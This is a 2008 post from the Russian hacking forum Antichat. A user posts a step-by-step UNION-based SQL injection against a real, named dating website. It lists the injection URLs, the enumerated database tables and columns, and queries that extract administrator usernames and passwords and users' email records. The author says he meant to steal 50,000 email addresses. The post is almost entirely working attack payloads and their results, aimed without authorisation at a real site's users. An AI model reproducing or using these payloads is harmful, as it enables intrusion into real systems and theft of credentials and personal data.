Форум АНТИЧАТ - SQL Инъекции

#11

03.11.2008, 17:48

xPriZrAkx

Познающий

Регистрация: 16.03.2007

Сообщений: 48

Провел на форуме:
293334

Репутация: 39

Цитата:

http://www.datingfunda.com/clubs/group_profile.php?group_id=-215+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,1 2,13,14,15,16,17,18,19,20,21,22,23--

Цитата:

http://www.datingfunda.com/clubs/group_profile.php?group_id=-215+union+select+1,2,3,4,table_name,6,7,8,9,10,11, 12,13,14,15,16,17,18,19,20,21,22,23+from+informati on_schema.tables--

Цитата:

http://www.datingfunda.com/clubs/group_profile.php?group_id=-215+union+select+1,2,3,4,table_name,6,7,8,9,10,11, 12,13,14,15,16,17,18,19,20,21,22,23+from+informati on_schema.columns+where+column_name+like+0x25656d6 1696c--

Цитата:

http://www.datingfunda.com/clubs/group_profile.php?group_id=-215+union+select+1,2,3,4,column_name,6,7,8,9,10,11 ,12,13,14,15,16,17,18,19,20,21,22,23+from+informat ion_schema.columns+where+table_name=0x6368616e6765 5f656d61696c--

Цитата:

http://www.datingfunda.com/clubs/group_profile.php?group_id=-215+and+1=0+union+select+1,2,3,4,column_name,6,7,8 ,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+ information_schema.columns+where+table_name=0x6368 616e67655f656d61696c+limit+0,1--

Цитата:

http://www.datingfunda.com/clubs/group_profile.php?group_id=-215+union+select+1,2,3,4,concat_ws(0x3a3a3a,userna me,password),6,7,8,9,10,11,12,13,14,15,16,17,18,19 ,20,21,22,23+from+dating_adminmembers--

information_schema.CHARACTER_SETS
information_schema.COLLATIONS
information_schema.VIEWS
information_schema.USER_PRIVILEGES
information_schema.TRIGGERS
information_schema.TABLE_PRIVILEGES
information_schema.TABLE_CONSTRAINTS
information_schema.TABLES
information_schema.STATISTICS
information_schema.SCHEMA_PRIVILEGES
information_schema.SCHEMATA
information_schema.ROUTINES
information_schema.KEY_COLUMN_USAGE
information_schema.COLUMN_PRIVILEGES
information_schema.COLUMNS
information_schema.COLLATION_CHARACTER_SET_APPLICA BILITY

datingfunda.dating_astrology
astro_id
astro_name
astro_desc
astro_start_date
astro_end_date

datingfunda.dating_blockmail
blockmail_id
blocker_id
blocked_id
doe

datingfunda.dating_country
country_id
country_name

datingfunda.dating_astro_comp
datingfunda.dating_album_photos
datingfunda.dating_album
datingfunda.dating_adminmembers
id
username
password
usertype
valid
lastlogin

Цитата:

http://www.datingfunda.com/clubs/group_profile.php?group_id=-215+union+select+1,2,3,4,concat_ws(0x3a3a3a,userty pe,lastlogin),6,7,8,9,10,11,12,13,14,15,16,17,18,1 9,20,21,22,23+from+dating_adminmembers--

Цитата:

http://www.datingfunda.com/clubs/group_profile.php?group_id=-215+union+select+1,2,3,4,concat_ws(0x3a3a3a,lastlo gin),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,2 2,23+from+dating_adminmembers--

Цитата:

http://www.datingfunda.com/clubs/group_profile.php?group_id=-215+and+1=0+union+select+1,2,3,4,new_email,6,7,8,9 ,10,11,12,13,14,15,16,17,18,19,20,21,22,23+change_ email--

datingfunda.change_email
member_id
old_email
new_email
membercode
valid

Цитата:

http://www.datingfunda.com/clubs/group_profile.php?group_id=-215+and+1=0+union+select+1,2,3,4,count(old_email), 6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+ from+change_email--

Цитата:

http://www.datingfunda.com/clubs/group_profile.php?group_id=-215+and+1=0+union+select+1,2,3,4,count(new_email), 6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+ from+change_email--

Цитата:

http://www.datingfunda.com/clubs/group_profile.php?group_id=-215+and+1=0+union+select+1,2,3,4,count(membercode) ,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 +from+change_email--

Цитата:

http://www.datingfunda.com/clubs/group_profile.php?group_id=-215+and+1=0+union+select+1,2,3,4,count(valid),6,7, 8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from +change_email--

Схватил скуль в давнишней теме, и решил ее дальше раскрутить и мыла стащить все 50к, но перехотелось

.
А самый прикол что в Админке показывает что 50к мыл, а вот в базе тольок 72 мыла ))
Всю базу перерыл...

Последний раз редактировалось xPriZrAkx; 03.11.2008 в 18:06..